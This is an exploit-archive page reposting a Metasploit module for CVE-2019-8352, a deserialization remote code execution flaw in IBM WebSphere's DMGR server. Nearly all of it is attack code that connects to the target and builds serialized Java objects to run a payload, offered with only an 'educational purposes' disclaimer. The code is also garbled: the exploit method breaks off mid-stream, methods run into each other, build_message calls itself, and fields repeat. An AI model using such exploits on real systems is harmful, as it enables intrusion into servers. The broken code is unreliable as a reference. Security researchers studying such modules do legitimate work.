Ibm websphere application server network deployment untrusted data deserialization remote code execution (metasploit) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-06-05 |
Type : remote |
Platform : windows
This exploit / vulnerability Ibm websphere application server network deployment untrusted data deserialization remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution',
'Description' => %(
This module exploits untrusted serialized data processed by the WAS DMGR Server and Cells.
NOTE: There is a required 2 minute timeout between attempts as the neighbor being added must be reset.
),
'License' => MSF_LICENSE,
'Author' =>
[
'b0yd' # @rwincey of [Securifera](https://www.securifera.com/) / Vulnerability Discovery and MSF module author
],
'References' =>
[
['CVE', '2019-8352'],
['URL', 'https://www-01.ibm.com/support/docview.wss?uid=ibm10883628']
],
'Platform' => ['win'],
'Targets' =>
[
[
'Windows Binary', {
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win'
}
],
[
'CMD', {
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Payload' => {'Compat' => {'RequiredCmd' => 'generic'}}
}
]
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'May 15 2019'))
def cleanup
disconnect
print_status('Disconnected from IBM Websphere DMGR.')
super
end
def exploit
command = nil
if target.name == 'CMD'
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") unless datastore['CMD']
command = datastore['CMD']
end
# Connect to IBM Websphere Application Server
connect
print_status("Connected to IBM WAS DMGR.")
node_port = datastore['RPORT']
# Send packet to add neighbor
enc_stream = construct_tcp_node_msg(node_port)
send_msg(enc_stream)
sock.get_once
print_status('Server responded')
# Generate binary name
bin_name = rand_text_alpha(8)
# Create the stream and add the object
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object
stream.encode
end
def build_message(obj, msg_id, msg_type, orig_cell_field_type)
# Create the integer field and add the reference
id_field = Rex::Java::Serialization::Model::Field.new
id_field.type = 'int'
id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ID')
# Create the integer field and add the reference
type_field = Rex::Java::Serialization::Model::Field.new
type_field.type = 'int'
type_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'type')
# Create the object field and add the reference
new_field = Rex::Java::Serialization::Model::Field.new
new_field.type = 'object'
new_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'originatingCell')
new_field.field_type = orig_cell_field_type
# Create the integer field and add the reference
id_field = Rex::Java::Serialization::Model::Field.new
id_field.type = 'int'
id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceMsgID')
# Create the integer field and add the reference
port_field = Rex::Java::Serialization::Model::Field.new
port_field.type = 'int'
port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceUdpPort')
# Create the object field and add the reference
ip_arr_field = Rex::Java::Serialization::Model::Field.new
ip_arr_field.type = 'array'
ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceIP')
ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
# Create the field type for the origCell
field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/lang/String;")
msg_obj = build_message(obj, msg_id, msg_type, field_type)
# Create the port field and add the reference
boot_time_field = Rex::Java::Serialization::Model::Field.new
boot_time_field.type = 'long'
boot_time_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bootTime')
# Create the port field and add the reference
tcp_port_field = Rex::Java::Serialization::Model::Field.new
tcp_port_field.type = 'int'
tcp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'tcpPort')
# Create the port field and add the reference
udp_port_field = Rex::Java::Serialization::Model::Field.new
udp_port_field.type = 'int'
udp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'udpPort')
# Create the object field and add the reference
ip_arr_field = Rex::Java::Serialization::Model::Field.new
ip_arr_field.type = 'array'
ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ip')
ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
# Create the task object field and add field_type
node_prop_field = Rex::Java::Serialization::Model::Field.new
node_prop_field.type = 'object'
node_prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'nodeProperty')
node_prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Lcom/ibm/son/mesh/AppLevelNodeProperty;")
# Set the member values
obj.class_data << ['long', 0]
obj.class_data << ['int', source_port]
obj.class_data << ['int', source_port]
obj.class_data << values_array
obj.class_data << p2p_obj
msg_class_desc
end
def build_app_node_class(obj)
# Create the structured gateway field and add the reference
struct_bool_field = Rex::Java::Serialization::Model::Field.new
struct_bool_field.type = 'boolean'
struct_bool_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'structuredGateway')
# Create the version field and add the reference
version_field = Rex::Java::Serialization::Model::Field.new
version_field.type = 'int'
version_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'version')
# Create the object field and add the reference
bridge_field = Rex::Java::Serialization::Model::Field.new
bridge_field.type = 'object'
bridge_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bridgedCellsList')
bridge_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/List;')
# Create the field ref
field_ref = Rex::Java::Serialization::Model::Reference.new
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4
# Create the cellname field and add the reference
cellname_field = Rex::Java::Serialization::Model::Field.new
cellname_field.type = 'object'
cellname_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'cellName')
cellname_field.field_type = field_ref
# Set the member values
obj.class_data << ['boolean', 0]
obj.class_data << ['int', 0]
obj.class_data << Rex::Java::Serialization::Model::NullReference.new
obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name
msg_class_desc
end
def build_hashtable_class(obj)
# Create the integer field and add the reference
load_field = Rex::Java::Serialization::Model::Field.new
load_field.type = 'float'
load_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'loadFactor')
# Create the integer field and add the reference
threshold_field = Rex::Java::Serialization::Model::Field.new
threshold_field.type = 'int'
threshold_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'threshold')
# Create the field ref
field_ref = Rex::Java::Serialization::Model::Reference.new
field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1
# Create the data field and add the reference
data_field = Rex::Java::Serialization::Model::Field.new
data_field.type = 'array'
data_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'data')
data_field.field_type = field_ref
# Create the object field and add the reference
prop_field = Rex::Java::Serialization::Model::Field.new
prop_field.type = 'object'
prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'properties')
prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/Properties;')
# Create the integer field and add the reference
out_int_field = Rex::Java::Serialization::Model::Field.new
out_int_field.type = 'int'
out_int_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'outputGatherInterval')
# Create the task object field and add field_type
task_field = Rex::Java::Serialization::Model::Field.new
task_field.type = 'object'
task_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'task')
task_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/lang/String;")
# Create the task object field and add field_type
task_arg_field = Rex::Java::Serialization::Model::Field.new
task_arg_field.type = 'object'
task_arg_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'taskArgument')
task_arg_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/io/Serializable;")
# Create the integer field and add the reference
forward_gather_field = Rex::Java::Serialization::Model::Field.new
forward_gather_field.type = 'int'
forward_gather_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'forwardGatheredDataPipelinePeriod')